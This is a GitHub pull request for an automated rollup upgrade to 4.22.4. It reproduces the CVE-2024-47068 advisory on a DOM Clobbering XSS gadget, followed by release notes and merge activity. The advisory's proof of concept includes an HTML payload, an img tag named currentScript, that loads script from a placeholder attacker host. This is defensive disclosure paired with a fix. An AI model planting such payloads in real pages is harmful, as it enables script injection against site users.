chore(deps): update dependency rollup to v4.22.4 [security] #489

svc-secops · 2024-09-24T11:04:44Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
rollup (source)	`4.22.2` -> `4.22.4`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

A DOM Clobbering vulnerability was discovered in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that similar issues in other popular bundlers like Webpack (CVE-2024-43788) have been reported, which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

A DOM Clobbering vulnerability in rollup bundled scripts was identified, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

CVE-2024-47068 / GHSA-gcx4-mw62-g8wm

More information

Details

Summary

A DOM Clobbering vulnerability was discovered in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that similar issues in other popular bundlers like Webpack (CVE-2024-43788) have been reported, which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

A DOM Clobbering vulnerability in rollup bundled scripts was identified, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Severity

CVSS Score: 6.4 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

rollup/rollup (rollup)

`v4.22.4`

Compare Source

2024-09-21

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5670: refactor: Use object.prototype to check for reserved properties (@YuHyeonWook)
#5671: Fix DOM Clobbering CVE (@lukastaegert)

`v4.22.3`

Compare Source

2024-09-21

Bug Fixes

Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies (#5669)

Pull Requests

#5669: Ensure impure dependencies of pure modules are added (@lukastaegert)

Configuration

📅 Schedule: Branch creation - "" in timezone Etc/UTC, Automerge - "after 8am and before 4pm on tuesday" in timezone Etc/UTC.

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

This PR has been generated by Renovate Bot.

netlify · 2024-09-24T11:05:02Z

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…aphql/apollo-ios-dev#489)

21f75b1b chore(deps): update dependency rollup to v4.22.4 [security] (#489) git-subtree-dir: apollo-ios-codegen git-subtree-split: 21f75b1b4037b75b798929eada6f9d8cf8681f71

…rollup to v4.22.4 [security] git-subtree-dir: apollo-ios-codegen git-subtree-mainline: d0201fe git-subtree-split: 21f75b1b4037b75b798929eada6f9d8cf8681f71

chore(deps): update dependency rollup to v4.22.4 [security]

8d223b8

svc-secops added dependencies vulnerability labels Sep 24, 2024

calvincestari approved these changes Sep 24, 2024

View reviewed changes

calvincestari merged commit 6a4ad07 into main Sep 24, 2024
39 checks passed

calvincestari deleted the renovate/npm-rollup-vulnerability branch September 24, 2024 15:04

BobaFetters pushed a commit that referenced this pull request Sep 24, 2024

chore(deps): update dependency rollup to v4.22.4 [security] (#489)

d0201fe

BobaFetters pushed a commit to apollographql/apollo-ios-codegen that referenced this pull request Sep 24, 2024

chore(deps): update dependency rollup to v4.22.4 [security] (apollogr…

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…aphql/apollo-ios-dev#489)

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chore(deps): update dependency rollup to v4.22.4 [security] #489

chore(deps): update dependency rollup to v4.22.4 [security] #489

svc-secops commented Sep 24, 2024

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chore(deps): update dependency rollup to v4.22.4 [security] #489

chore(deps): update dependency rollup to v4.22.4 [security] #489

Conversation

svc-secops commented Sep 24, 2024

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Details

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Severity

References

Release Notes

v4.22.4

Bug Fixes

Pull Requests

v4.22.3

Bug Fixes

Pull Requests

Configuration

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Gadget found in `rollup`

Gadget found in `rollup`

`v4.22.4`

`v4.22.3`

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